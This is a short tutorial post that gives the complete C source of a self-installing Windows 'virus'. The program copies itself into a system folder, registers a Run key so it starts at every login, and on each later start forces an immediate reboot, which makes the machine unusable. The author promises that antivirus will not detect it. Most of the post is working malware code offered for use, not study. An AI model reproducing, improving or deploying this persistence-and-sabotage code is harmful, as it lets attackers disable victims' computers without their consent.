A Virus Program to Restart the Computer at Every Startup

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded. For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. Andone more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C . So if you are familiar with C language then it’s too easy to understand the logic behind the coding. Here is the source code. #include #include #include int found,drive_no;char buff[128]; void findroot() { int done; struct ffblk ffblk; //File block structure done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive if(done==0) { done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed ornot if(done==0) { found=1; //means that the system is already infected return; } drive_no=1; return; } done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0); if (done==0) { found=1;return; } drive_no=2; return; } done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0); if(done==0) { found=1; return; } drive_no=3; return; } done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0); if(done==0) { found=1; return; } drive_no=4; return; } else exit(0); } void main() { FILE *self,*target; findroot(); if(found==0) //if the system is not already infected { self=fopen(_argv[0],”rb”); //The virus file open’s itself switch(drive_no) { case 1: target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup break; case 2: target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”); system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d D:\\windows\\system\\sysres.exe”); break; case 3: target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”); system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d E:\\windows\\system\\sysres.exe”); break; case 4: target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”); system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d F:\\windows\\system\\sysres.exe”); break; default: exit(0); } while(fread(buff,1,1,self)>0) fwrite(buff,1,1,target); fcloseall(); } else system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart }